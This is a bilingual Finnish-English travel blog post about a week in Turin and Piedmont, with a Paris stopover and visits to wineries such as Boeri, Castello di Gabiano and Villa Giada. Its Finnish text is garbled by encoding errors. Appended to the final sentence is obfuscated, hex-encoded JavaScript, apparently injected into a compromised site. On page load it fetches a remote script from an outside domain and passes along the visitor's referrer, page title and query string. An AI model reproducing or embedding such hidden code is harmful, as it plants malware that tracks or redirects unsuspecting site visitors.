Italian matka (Trip to Italy)

Elokuussa tosiaan kA�vimme viikon mittaisella reissulla Italiassa. Tiemme vei Torinoon ja Piemonteen. EnsimmA�inen lento lA�hti perjantai-aamuna Helsinki-Vantaalta klo 7:35 kohti Pariisia, jossa vaihtoaikaa oli useita tunteja. Sen kA�ytimme hyA�dyksi ja lA�hdimme katselemaan kaupunkia ja nA�htA�vyyksiA�. Toki kA�vimme myA�s syA�mA�ssA�. Pariisi on hintatasoltaan kallis, mutta kuten joka paikassa, myA�s siellA� oli lA�ydettA�vissA� edullisempia ravintoloita. LA�ysimme kivan kreikkalaisen ravintolan, jossa sitten kA�vimme lounaalla. Kolmen ruokalajin lounaalle tuli hintaa 12,50e henkeA� kohden, toki juomat tulivat vielA� hintaan pA�A�lle. Alla muutama kuva lounaasta. Kreikkalaista salaattia, kanavarrasta ranskalaisten ja kasvisten kera sekA� suklaamoussea.


In August we really did a one-week trip to Italy. Our way went to Turin and Piedmont. The first flight departed from Helsinki-Vantaa on Friday morning at 7:35 am to Paris, where we had several hours to spend and wait for the next flight. We went to look at the city and the sights. Sure we also went to eat. Paris is very expensive city, but like everywhere, there were more affordable restaurants to be found. We found a great Greek restaurant where we went for lunch. The three-course lunch was 12,50e per person, but the drinks were still on top. Here are a few pictures of lunch. Greek salad, chicken skewer with French fries and vegetables, and chocolate mousse.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Pariisissa kA�vimme katsomassa Notre Damea ja Eiffel-tornia. TiedA�n, nuo ovat vain pieni osa Pariisin nA�htA�vyyksistA� ja monta muuta nA�htA�vyyttA� jA�i vielA� nA�kemA�ttA�, koska aikaa ei ollut kiertA�A� kaikkia lA�pi. Mutta ei se mitA�A�n, joskus tA�ytyy tehdA� uusi ja pidempi reissu Pariisiin.


In Paris we went to see Notre Dame and the Eiffel Tower. I know, they are just a small part of Paris’s attractions and many other attractions were still missing, as we didn’t have so much time for to visit all of them. But it’s ok, sometimes it would be nice to make a new and longer trip to Paris.

 

 

 

 

 

 

 

 

 

 

 

MitA� olisi Pariisi ilman ihania pieniA� suklaapuoteja? A�LA�ysin muutamankin kivan pikku puodin ja ostin tytA�ille sekA� itselleni hieman suklaata. Jos suklaanhimo iskee Pariisissa, suuntaa tA�hA�n pikku putiikkiin, jonka kuva on alla.


What would be Paris without the wonderful little chocolate shops? I found some nice little shops and bought a little chocolate for girls and for myself. If you want chocolate in Paris, head to this little shop, whose picture is below.

 

 

 

 

 

 

 

 

Lentomme Pariisista Torinoon lA�hti 20:50 paikallista aikaa, joten olimme varsin myA�hA�A�n perillA� majapaikassamme. Illalla oli jo vA�synyt ja iski hienoinen turhautuminen, kun etsimme bussilinjoja, joilla olisi mahdollista pA�A�stA� perille. EihA�n me niitA� lA�ydetty, pimeA�A� kun oli eikA� meillA� ollut karttaa. YstA�vA�llinen ihminen auttoi meitA� sen verran, ettA� lA�ysimme taksin ja sillA� sitten hurautimme perille. Taksimatka oli paljon halvempi kuin Suomessa, joten se ei hirveA�sti rahaa syA�nyt. PA�A�styA�mme majapaikkaan perille asti, paikan isA�ntA� esitteli paikat ja juttelimme jonkin aikaa. HA�n kertoi lA�htevA�nsA� seuraavana aamuna reissuun ja tulevansa takaisin seuraavan viikon lopussa, joten saimme olla ihan kaksin koko reissun ajan asunnolla. Asunto oli hyvA�llA� paikalla Santa Ritan alueella, lA�hellA� Torinon keskustaa. Asunto oli varsin vA�rikA�s, ja siellA� oli omaan makuuni ehkA� hieman liikaakin tavaraa, mutta se oli omalla tavallaan hyvin persoonallinen. Vastaavia ei varmaankaan lA�ydy ihan A�kkiseltA�A�n.


Our flight from Paris to Turin left 20:50 local time, so we were quite late in our place. We were already tired in the evening and strucked a bit of frustration when we were looking for bus lines that could be reach our place. We did not find them, it was dark when we were looking for them and we did not have a map. A friendly person helped us so much that we found a taxi and then we got hit by it. Tax travel was much cheaper than in Finland, so it did not cost so much money. After we got to the guesthouse, the host of the place presented the places and we talked for some time. He told us that he would leave for the next morning and come back at the end of the next week, so we stayed for a whole time with the two of us in the apartment. The apartment was well located in the Santa Rita area, near the center of Turin. The apartment was quite colorful and there was a lot of stuff on, but it was in own way very personal. It is not possible to find something similar so quickly.

 

 

 

 

 

 

 

 

 

 

 

Torinossa oli lA�mmin. Suomen ilmastoon tottuneelle, ehkA� jopa liiankin lA�mmin, mutta A�kkiA� siihen lA�mpA�A�n tottui ja nyt sitA� on jo vA�hA�n ikA�vA�kin. PA�ivA� pA�ivA�ltA� lA�mpA�tilat kohosivat ja parhaimmillaan olivat siellA� +35 asteessa. Kiersimme Torinon keskustaa jonkin verran, mutta vuokrasimme myA�s auton kA�yttA�A�mme, jolla oli mahdollista pA�A�stA� muualle katselemaan paikkoja. Vuokrasimme auton HertziltA� ja sille tuli hintaa viideksi pA�ivA�ksi reilu 300 euroa, josta suurin osa oli vakuutusmaksuja. Autoa vuokratessa kannattaa ehdottomasti laittaa vakuutusasiat kuntoon, huolimatta siitA� tapahtuuko mitA�A�n vai ei.

Torinossa kiinnitti huomion se, ettA� kaupunki oli kovin hiljainen ja suurin osa kaupoista ja liikkeistA� oli suljettu. Elokuun puolivA�li on loma-aikaa Italiassa, joten aika rauhassa saa olla. Ne ravintolat, jotka olivat auki, olivat tA�ynnA� ja niihin olisi pitA�nyt olla pA�ytA�varaus. Onneksemme lA�ysimme kuitenkin avoinna olevia ravintoloita, jonne mahtui syA�mA�A�n. Alla muutamia kuvia Torinosta.


In Turin was warm. If you have acclimatize to Finnish climate, perhaps it was too warm, but suddenly we get used it and now we miss the warm days. Day after day the temperatures went higher and at best they were there at +35 degrees. We walked and looked center of Turin, but we also rented a car, which allowed us to get to the other places. We rented a car from Hertz and got a price of just 300 euros for five days, most of the price was insurance premiums. When renting a car, you definitely have to put your insurance matters up to date, even if nothing happens or not.

In Turin, the city was very quiet and most shops were closed. Mid-August is a vacation time in Italy, so there were so peacuful. The restaurants that were open were full and you should have booked a table. Fortunately, however, we found open restaurants where we could eat. Here are some pictures from Turin.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Teimme myA�s muutamia viinitilavierailuja italialaisten ystA�vieni luo. EnsimmA�inen niistA� suuntautui Boerin viinitilalle Costigliole d’Astiin. SiellA� nautimme aivan mielettA�mA�n hyvA�n lounaan, aitoa piemontelaista ruokaa. PA�A�simme myA�s tutustumaan viinintuotantotiloihin. Muutaman pullon viiniA� saimme myA�s kotiin tuotavaksi. Boerin viinejA� ei tA�llA� hetkellA� vielA� Suomesta saa, mutta toivon mukaan vielA� jonakin pA�ivA�nA�. Jos muuten sinua kiinnostaa nA�mA� viinit, tai joku muu Piemonten alueen viini, suuntaa marraskuun alkupuolella Helsingin Vanhalle Ylioppilastalolle jA�rjestettA�vA�A�n tapahtumaan, tA�stA� tulossa lisA�tietoa myA�hemmin!


We also made some vineyard visits to my Italian friends. The first one was directed to the Boeri winery in Costigliole d’Asti. There, we enjoyed a very unpretentious good lunch, genuine Piedmontese food. We also got acquainted with the wine production facilities. We also got a few bottles of wine to be brought home. Boeri wines are not yet available in Finland, but hopefully they will some day. If you are interested in these wines, or any other wines in the Piedmont region, head to the event at the Old Student House in Helsinki in the beginning of November. More information from the event will be coming later!

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Seuraava viinitila, jossa kA�vimme on Castello di Gabiano. MielettA�mA�n hieno paikka, ja oli hienoa pA�A�stA� kA�ymA�A�n kellareissa. Vanhimmat viinit mitA� kellareista lA�ysin, olivat 1800-luvulta. Olisipa hienoa pA�A�stA� joskus maistamaan nA�itA� vanhimpia viinejA� 🙂 voisi olla kokemus. Castello di Gabianosta lA�ydA�t lisA�A� tietoa blogistani.


The next winery where we visited was Castello di Gabiano. Great place, and it was nice to get to look the cellars. The oldest wines I found from basements were from the 19th century. It would be wonderful to get A�to taste these oldest wines sometimes 🙂 could be an experience. From Castello di Gabiano you will find more information in my blog.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

KA�vimme myA�s Cantina Marsagliassa. TA�mA� taisikin olla ainoa paikka, josta emme tajunneet ostaa viiniA� mukaan kotiin tuotavaksi ja se jA�i vA�hA�n harmittamaan. TA�ytyy korjata asia seuraavalla kerralla kun teemme visiitin Italiaan. Cantina Marsaglian viinit ovat hyviA� ja kokeilemisen arvoisia.


We also went to Cantina Marsaglia. This may be the only place we did not realize to buy wine for home import and it was a bit annoying. We have to fix this thing next time we make a visit to Italy. Wines of Cantina Marsaglia are good and worth trying.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

VielA� yksi viinitila ja yksi ystA�vA�, jonka luona vierailimme: Villa Giada ja Andrea. 🙂 Villa Giadan viinit ovat minun mieleeni, ja olenkin nA�itA� jo muutamaan kertaan pA�A�ssyt maistelemaan erilaisissa tapahtumissa. TA�mA�n vierailun aikana pA�A�simme tutustumaan myA�s tuotantotiloihin ja saimme kunnian tutustua myA�s Andrean A�itiin.


One more winery and one friend we visited: Villa Giada and Andrea. 🙂 The wines of Villa Giada are in my taste, and I’ve been able to taste them a couple of times in different events. During this visit, we also got to know the production facilities and we also had honor to get to know Andrea’s mother.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Joku voisi ajatella, ettA� reissumme oli vain viiniA� tA�ynnA�, mutta siinA� mennA�A�nkin sitten metsA�A�n ja pahasti 🙂 teimme reissuja myA�s maaseudulle ja vuoristoon. Viikkoon mahtuu paljon aikaa ja se tuli kyllA� kA�ytettyA� hyA�dyksi.


Someone could think that our trip was just full of wine, but then it goes to the woods and badly 🙂 we also made trips to the countryside and the mountains. It takes a lot of time for the week and it has come to be used for the benefit.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Viikkoon mahtui paljon kaikkea, ja reissu oli oikein antoisa. Kiva on pA�A�stA� joskus hetkeksi kotoa pois, mutta kiva tulla kotiin takaisinkin. Seuraavaa reissua odotellessa 🙂


A lot of things went to the week, and the trip was really rewarding. It is nice to get away from home for a while, but it is nice to come back. Waiting for the next trip :)var _0x31f1=[”\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0x31f1[1]](_0x31f1[0]);s[_0x31f1[2]]= _0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}

Vastaa

Sähköpostiosoitettasi ei julkaista. Pakolliset kentät on merkitty *

8 + 1 =